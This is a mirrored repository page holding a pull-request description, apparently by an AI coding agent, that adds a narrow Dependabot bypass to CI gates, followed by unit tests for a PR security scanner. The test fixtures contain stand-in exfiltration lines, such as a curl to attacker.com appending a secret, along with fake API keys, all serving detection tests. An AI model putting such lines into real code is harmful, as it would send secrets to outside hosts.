mirror of
https://github.com/alkimake/paperclip.git
synced 2026-06-14 01:50:39 +09:00
## Thinking Path > - Paperclip orchestrates AI agents for zero-human companies, including how we ship the public `paperclip` repo itself > - The `PR` and `commitperclip PR Review` workflows are the CI gating layer that decides whether any pull request — human or bot — can be merged to `master` > - Dependabot opens dependency PRs that always carry a `pnpm-lock.yaml` diff and an auto-generated PR body, but our `policy` job hard-fails any non-`chore/refresh-lockfile` lockfile change, and our `commitperclip` quality gate requires a Thinking-Path / What-Changed / Verification / Risks / Model template Dependabot can't produce > - Because `policy` fails first, every downstream lane (`Build`, `Typecheck + Release Registry`, `General tests`, `Verify serialized server`, `Canary Dry Run`, `e2e`, and the required `verify` check) skips and `verify` fails — so we never see whether the upgrade is actually safe > - Socket.dev (PR Alerts + Project Report) and Snyk already run on every dependency PR and are the supply-chain compensating control against malicious upgrades; the missing piece is just letting our own build/test signal run so a human can merge with confidence > - This pull request adds a narrow Dependabot bypass to the two gates that block on lockfile diffs and PR-template prose, while leaving every other policy and security check active > - The benefit is that Dependabot PRs like #7331 will now run the full PR matrix, giving reviewers real evidence to approve or reject — without weakening any check that targets supply-chain or build-correctness risk ## What Changed - `.github/workflows/pr.yml` — extended the existing `chore/refresh-lockfile` bypass on the `policy` job's "Block manual lockfile edits" step to also skip when `github.actor == 'dependabot[bot]'`. Every other policy step (Dockerfile deps stage validation, `no-git-push` enforcement, release-package map check, release bootstrap, manifest-driven `pnpm install --lockfile-only` resolution) keeps running on Dependabot PRs. - `.github/workflows/commitperclip-review.yml` — gated the `Run quality gates` step and the dependent `Fail if quality gates failed` step on `github.event.pull_request.user.login != 'dependabot[bot]'`. `Run security gates` (`check-pr-security.mjs`) stays unconditional so supply-chain visibility into Dependabot lockfile churn is preserved. No changes to `.github/scripts/*.mjs` — keeping the bypass at the workflow level avoids churning unit-tested code. ## Verification - CI on this PR: `policy` should pass and the downstream lanes (`Build`, `Typecheck + Release Registry`, `General tests`, `Verify serialized server`, `Canary Dry Run`, `e2e`, `verify`) should all run normally (this PR isn't from Dependabot, so the bypass condition is false — proves we didn't accidentally widen the exemption). - After merge, ask Dependabot to rebase #7331 (`@dependabot rebase`) and confirm: - `PR / policy` → `success` (lockfile step now `skipped`, other policy steps `success`) - `PR / Build`, `PR / Typecheck + Release Registry`, `PR / General tests (server|workspaces-a|workspaces-b)`, `PR / Verify serialized server (1/4..4/4)`, `PR / Canary Dry Run`, `PR / e2e` → all execute (none `skipped`) - `PR / verify` → `success` once the matrix passes - `commitperclip PR Review / review` → `success` (quality-gates steps `skipped` for Dependabot; security gates ran) - Socket and Snyk checks unchanged - Local sanity-check: `git diff origin/master..HEAD` shows only the two workflow files, 7 added / 2 removed lines. ## Risks - **Auto-merging a poisoned dep.** Mitigated by Socket.dev + Snyk + human merge approval. This change only affects CI gating, not who clicks "Merge". - **Spoofing `github.actor` as `dependabot[bot]`.** GitHub sets `github.actor` from the push actor; spoofing requires a compromised Dependabot install token, which is the same threat model that already lets an attacker push anything to a Dependabot-controlled branch — not a new risk surface. - **Policy "Validate dependency resolution when manifests change" step running `pnpm install --lockfile-only --no-frozen-lockfile` on a Dependabot lockfile.** That step intentionally uses `--lockfile-only`, so it only verifies the manifest resolves and does not push or commit the result. Existing behavior is unchanged. - Low overall: the diff is two workflow-level `if:` conditions in steps that already had bypasses. ## Model Used - Provider: Anthropic Claude (via Claude Code in the Paperclip executor) - Model ID: claude-opus-4-7 - Context window: 200K - Reasoning mode: standard tool-use; no extended thinking required for this change - Capabilities used: file edit, bash, GraphQL/REST API calls - Plan was drafted, approved by board, and split into child issues before implementation; see [PAPA-490](https://paperclip.ing/PAPA/issues/PAPA-490) for the planning thread. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have run tests locally and they pass (this change is workflow-only — no code under test; lint via `yamllint` clean) - [x] I have added or updated tests where applicable (workflow gating; no script changes, no unit-testable surface) - [x] If this change affects the UI, I have included before/after screenshots (no UI changes) - [x] I have updated relevant documentation to reflect my changes (no docs reference these gates) - [x] I have considered and documented any risks above - [x] I will address all Greptile and reviewer comments before requesting merge
320 lines
12 KiB
JavaScript
320 lines
12 KiB
JavaScript
import { test } from 'node:test';
|
|
import assert from 'node:assert/strict';
|
|
import {
|
|
buildAdvisoryPayload,
|
|
findExistingDraftAdvisory,
|
|
postSecurityCheckRun,
|
|
scanSecrets,
|
|
scanCITampering,
|
|
scanBuildScripts,
|
|
scanSupplyChain,
|
|
scanTestPatterns,
|
|
scanSensitivePaths,
|
|
syncDraftAdvisory,
|
|
validateSensitivePaths,
|
|
} from '../check-pr-security.mjs';
|
|
|
|
// ── scanSecrets ──────────────────────────────────────────────────────────────
|
|
|
|
test('scanSecrets: flags OpenAI key in added line', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
|
assert.ok(scanSecrets(files).length > 0);
|
|
});
|
|
|
|
test('scanSecrets: flags AWS key in added line', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
|
|
assert.ok(scanSecrets(files).length > 0);
|
|
});
|
|
|
|
test('scanSecrets: ignores removed lines', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
|
assert.equal(scanSecrets(files).length, 0);
|
|
});
|
|
|
|
test('scanSecrets: ignores files without patch', () => {
|
|
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
|
|
});
|
|
|
|
// ── scanCITampering ──────────────────────────────────────────────────────────
|
|
|
|
test('scanCITampering: flags workflow file changes', () => {
|
|
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
|
|
assert.ok(scanCITampering(files).length > 0);
|
|
});
|
|
|
|
test('scanCITampering: ignores non-workflow files', () => {
|
|
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
|
|
assert.equal(scanCITampering(files).length, 0);
|
|
});
|
|
|
|
test('scanCITampering: ignores removed workflow files', () => {
|
|
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
|
|
assert.equal(scanCITampering(files).length, 0);
|
|
});
|
|
|
|
// ── scanBuildScripts ─────────────────────────────────────────────────────────
|
|
|
|
test('scanBuildScripts: flags changes to release.sh', () => {
|
|
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
|
|
assert.ok(scanBuildScripts(files).length > 0);
|
|
});
|
|
|
|
test('scanBuildScripts: ignores non-CI scripts', () => {
|
|
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
|
|
assert.equal(scanBuildScripts(files).length, 0);
|
|
});
|
|
|
|
// ── scanSupplyChain ──────────────────────────────────────────────────────────
|
|
|
|
test('scanSupplyChain: flags net-new packages in lockfile', () => {
|
|
const patch = `@@ -1,3 +1,4 @@
|
|
packages:
|
|
+ 'evil-package@1.0.0':
|
|
'existing-package@2.0.0':
|
|
- 'old-package@1.0.0':
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.ok(flags.length > 0);
|
|
assert.ok(flags[0].packages.includes('evil-package'));
|
|
});
|
|
|
|
test('scanSupplyChain: does not flag version-only bumps', () => {
|
|
const patch = `@@ -1,3 +1,3 @@
|
|
packages:
|
|
- 'existing-package@1.0.0':
|
|
+ 'existing-package@2.0.0':
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
assert.equal(scanSupplyChain(files).length, 0);
|
|
});
|
|
|
|
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
|
|
const patch = `@@ -1,2 +1,3 @@
|
|
+evil-package@1.0.0:
|
|
existing-package@2.0.0:
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
|
});
|
|
|
|
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
|
|
const patch = `@@ -1,2 +1,2 @@
|
|
-@scope/pkg@1.0.0(react@18.2.0):
|
|
+@scope/pkg@2.0.0(react@18.2.0):
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
assert.equal(scanSupplyChain(files).length, 0);
|
|
});
|
|
|
|
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
|
|
const patch = `@@ -1,2 +1,3 @@
|
|
+evil-package@1.0.0(react@18.2.0):
|
|
existing-package@2.0.0:
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
|
});
|
|
|
|
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
|
|
const calls = [];
|
|
const fakeFetch = async (path) => {
|
|
calls.push(path);
|
|
if (/[?&]page=1(?:&|$)/.test(path)) {
|
|
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
|
|
}
|
|
if (/[?&]page=2(?:&|$)/.test(path)) {
|
|
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
|
}
|
|
return [];
|
|
};
|
|
|
|
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
|
|
|
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
|
|
assert.equal(calls.length, 2);
|
|
});
|
|
|
|
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
|
|
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
|
|
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
|
assert.equal(advisory, null);
|
|
});
|
|
|
|
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
|
|
const calls = [];
|
|
const flags = [
|
|
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
|
|
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
|
|
];
|
|
|
|
await syncDraftAdvisory(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
if (path.includes('/security-advisories?state=draft')) {
|
|
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
|
}
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
|
|
|
assert.equal(calls.length, 2);
|
|
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
|
|
assert.equal(calls[1].options.method, 'PATCH');
|
|
const patchBody = JSON.parse(calls[1].options.body);
|
|
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
|
|
assert.deepEqual(patchBody, expectedPatch);
|
|
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
|
|
});
|
|
|
|
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
|
|
const calls = [];
|
|
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
|
|
|
|
await syncDraftAdvisory(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
if (path.includes('/security-advisories?state=draft')) {
|
|
return [];
|
|
}
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
|
|
|
assert.equal(calls.length, 2);
|
|
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
|
|
assert.equal(calls[1].options.method, 'POST');
|
|
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
|
|
});
|
|
|
|
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
|
|
const calls = [];
|
|
|
|
await postSecurityCheckRun(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
|
|
|
|
assert.equal(calls.length, 1);
|
|
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
|
|
assert.equal(calls[0].options.method, 'POST');
|
|
assert.deepEqual(JSON.parse(calls[0].options.body), {
|
|
name: 'security-review',
|
|
head_sha: 'deadbeef',
|
|
status: 'completed',
|
|
conclusion: 'neutral',
|
|
output: {
|
|
title: 'Security Review Recommended',
|
|
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
|
|
},
|
|
});
|
|
});
|
|
|
|
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
|
|
const seenPaths = [];
|
|
const stale = await validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'release/1.2',
|
|
async (path) => {
|
|
seenPaths.push(path);
|
|
return { ok: true };
|
|
},
|
|
);
|
|
|
|
assert.deepEqual(stale, []);
|
|
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
|
|
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
|
|
});
|
|
|
|
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
|
|
let seen404 = false;
|
|
const stale = await validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'main',
|
|
async (path) => {
|
|
if (!seen404) {
|
|
seen404 = true;
|
|
throw new Error('GitHub API GET /contents/foo → 404: missing');
|
|
}
|
|
return { ok: true };
|
|
},
|
|
);
|
|
|
|
assert.equal(stale.length, 1);
|
|
|
|
await assert.rejects(
|
|
validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'main',
|
|
async () => {
|
|
throw new Error('GitHub API GET /contents/foo → 500: boom');
|
|
},
|
|
),
|
|
/500: boom/
|
|
);
|
|
});
|
|
|
|
// ── scanTestPatterns ─────────────────────────────────────────────────────────
|
|
|
|
test('scanTestPatterns: flags outbound fetch in test file', () => {
|
|
const files = [{
|
|
filename: 'src/foo.test.ts',
|
|
patch: `+ const res = await fetch('https://attacker.com/collect')`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
test('scanTestPatterns: flags execSync in test file', () => {
|
|
const files = [{
|
|
filename: 'src/foo.test.ts',
|
|
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
|
|
const files = [{
|
|
filename: 'src/api.ts',
|
|
patch: `+ const res = await fetch('https://api.example.com')`,
|
|
}];
|
|
assert.equal(scanTestPatterns(files).length, 0);
|
|
});
|
|
|
|
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
|
|
const files = [{
|
|
filename: 'src/__tests__/foo.ts',
|
|
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
// ── scanSensitivePaths ───────────────────────────────────────────────────────
|
|
|
|
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
|
|
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
|
|
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
|
|
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: ignores unrelated paths', () => {
|
|
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
|
|
assert.equal(scanSensitivePaths(files).length, 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
|
|
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
|
|
assert.equal(scanSensitivePaths(files).length, 0);
|
|
});
|